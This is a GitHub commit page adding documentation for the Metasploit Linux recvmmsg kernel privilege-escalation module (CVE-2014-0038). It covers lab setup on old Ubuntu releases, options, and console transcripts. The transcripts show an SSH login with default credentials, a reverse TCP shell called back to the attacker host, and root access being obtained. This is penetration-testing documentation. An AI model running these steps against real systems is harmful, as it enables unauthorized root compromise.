Skip to content

Commit d1a11f4

Browse files
committed
Land rapid7#7418, Linux recvmmsg Priv Esc (CVE-2014-0038)
2 parents adb6f31 + f9060b0 commit d1a11f4

File tree

3 files changed

+487
-0
lines changed

3 files changed

+487
-0
lines changed

data/exploits/CVE-2014-0038/recvmmsg

14.2 KB
Binary file not shown.
Lines changed: 133 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,133 @@
1+
## Creating A Testing Environment
2+
3+
This module works against Ubuntu 13.04, and 13.10. As of writing this, those releases are at EOL (end of life). If you wish to install `gcc` or other command, you'll need to fix your `/etc/sources.list` to
4+
point to the correct repos.
5+
6+
`sudo sed -i -re 's/([a-z]{2}\.)?archive.ubuntu.com|security.ubuntu.com/old-releases.ubuntu.com/g' /etc/apt/sources.list` [source](http://askubuntu.com/questions/91815/how-to-install-software-or-upgrade-from-an-old-unsupported-release)
7+
8+
This module has been tested against:
9+
10+
1. Ubuntu 13.04 (default kernel) 3.8.0-19-generic
11+
12+
This module should also work against:
13+
14+
1. Ubuntu 13.10 (default kernel) 3.11.0-12-generic
15+
2. Ubuntu 13.10 3.11.0-15-generic
16+
17+
More kernels could be added to this, just need the proper offsets.
18+
19+
## Verification Steps
20+
21+
1. Start msfconsole
22+
2. Exploit a box via whatever method
23+
3. Do: `use exploit/linux/local/recvmmsg_priv_esc`
24+
4. Do: `set session #`
25+
5. Do: `set verbose true`
26+
6. Do: `exploit`
27+
28+
## Options
29+
30+
**COMPILE**
31+
32+
If we should attempt to compile live on the system, or drop a binary. Default is `auto` which will compile if `gcc` is installed.
33+
34+
**WritableDir**
35+
36+
A folder we can write files to. Defaults to /tmp
37+
38+
## Scenarios
39+
40+
### Ubuntu 13.04 (with default kernel: 3.8.0-19-generic)
41+
42+
#### Initial Access
43+
44+
[*] Processing recvmmsg.rc for ERB directives.
45+
resource (recvmmsg.rc)> use auxiliary/scanner/ssh/ssh_login
46+
resource (recvmmsg.rc)> set rhosts 192.168.2.20
47+
rhosts => 192.168.2.20
48+
resource (recvmmsg.rc)> set username ubuntu
49+
username => ubuntu
50+
resource (recvmmsg.rc)> set password ubuntu
51+
password => ubuntu
52+
resource (recvmmsg.rc)> exploit
53+
[*] SSH - Starting bruteforce
54+
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lpadmin),112(sambashare) Linux ubuntu1304 3.8.0-19-generic #29-Ubuntu SMP Wed Apr 17 18:16:28 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux '
55+
[!] No active DB -- Credential data will not be saved!
56+
[*] Command shell session 1 opened (192.168.2.117:39613 -> 192.168.2.20:22) at 2016-10-08 23:19:48 -0400
57+
[*] Scanned 1 of 1 hosts (100% complete)
58+
[*] Auxiliary module execution completed
59+
60+
#### Escalate
61+
62+
resource (recvmmsg.rc)> use exploit/linux/local/recvmmsg_priv_esc
63+
resource (recvmmsg.rc)> set verbose true
64+
verbose => true
65+
resource (recvmmsg.rc)> set payload linux/x86/shell/reverse_tcp
66+
payload => linux/x86/shell/reverse_tcp
67+
resource (recvmmsg.rc)> set session 1
68+
session => 1
69+
resource (recvmmsg.rc)> set lhost 192.168.2.117
70+
lhost => 192.168.2.117
71+
resource (recvmmsg.rc)> exploit
72+
[*] Started reverse TCP handler on 192.168.2.117:4444
73+
[+] Kernel 3.8.0.pre.19.pre.generic is exploitable
74+
[+] gcc is installed
75+
[*] Live compiling exploit on system
76+
[+] Kernel 3.8.0.pre.19.pre.generic is exploitable
77+
[*] Writing to /tmp/4bUIkbrG.c (5950 bytes)
78+
[*] Max line length is 65537
79+
[*] Writing 5950 bytes in 1 chunks of 20667 bytes (octal-encoded), using printf
80+
[*] Compiling /tmp/4bUIkbrG.c
81+
[*] Writing to /tmp/a0RwAacU (185 bytes)
82+
[*] Max line length is 65537
83+
[*] Writing 185 bytes in 1 chunks of 560 bytes (octal-encoded), using printf
84+
[*] Exploiting... May take 17min. Start time: 2016-10-08 23:20:00 -0400
85+
[*] Sending stage (36 bytes) to 192.168.2.20
86+
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.20:38465) at 2016-10-08 23:32:49 -0400
87+
88+
id
89+
uid=0(root) gid=0(root) groups=0(root)
90+
uname -a
91+
Linux ubuntu1304 3.8.0-19-generic #29-Ubuntu SMP Wed Apr 17 18:16:28 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
92+
93+
### Using pre-compiled binaries on the same system
94+
95+
resource (recvmmsg.rc)> use exploit/linux/local/recvmmsg_priv_esc
96+
resource (recvmmsg.rc)> set verbose true
97+
verbose => true
98+
resource (recvmmsg.rc)> set payload linux/x86/shell/reverse_tcp
99+
payload => linux/x86/shell/reverse_tcp
100+
resource (recvmmsg.rc)> set session 1
101+
session => 1
102+
resource (recvmmsg.rc)> set lhost 192.168.2.117
103+
lhost => 192.168.2.117
104+
resource (recvmmsg.rc)> exploit
105+
[*] Started reverse TCP handler on 192.168.2.117:4444
106+
[+] Kernel 3.8.0.pre.19.pre.generic is exploitable
107+
[-] gcc is not installed. Compiling will fail.
108+
[*] Dropping pre-compiled exploit on system
109+
[+] Kernel 3.8.0.pre.19.pre.generic is exploitable
110+
[*] Writing to /tmp/Yc0xB9oC (14571 bytes)
111+
[*] Max line length is 65537
112+
[*] Writing 14571 bytes in 1 chunks of 38575 bytes (octal-encoded), using printf
113+
[*] Writing to /tmp/a0RwAacU (185 bytes)
114+
[*] Max line length is 65537
115+
[*] Writing 185 bytes in 1 chunks of 560 bytes (octal-encoded), using printf
116+
[*] Exploiting... May take 17min. Start time: 2016-10-08 23:42:01 -0400
117+
[*] Sending stage (36 bytes) to 192.168.2.20
118+
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.20:38465) at 2016-10-08 23:54:50 -0400
119+
[+] Deleted /tmp/Yc0xB9oC
120+
[+] Deleted /tmp/a0RwAacU
121+
122+
2689016405
123+
carERUCEUgdCZfvTyiWuBklsNMqcNhey
124+
true
125+
dPZDicgefmDeBvIpRYKaToiSQmHWQxBe
126+
yGWMZKlCTQskKCZERIXNchDARUIzzBJn
127+
FjFxyOSVHntGpawbQfSzIdRPsbeyOgSq
128+
true
129+
HFPuJArQoYvuxhkoWbAwvdDbNVUjSdUL
130+
vMvWNASOZcfTmStOGnozdJzfTAUWJYzU
131+
VQUKZqzBlQaQJmbtyQSSNudDtINToRhu
132+
whoami
133+
root

0 commit comments

Comments
 (0)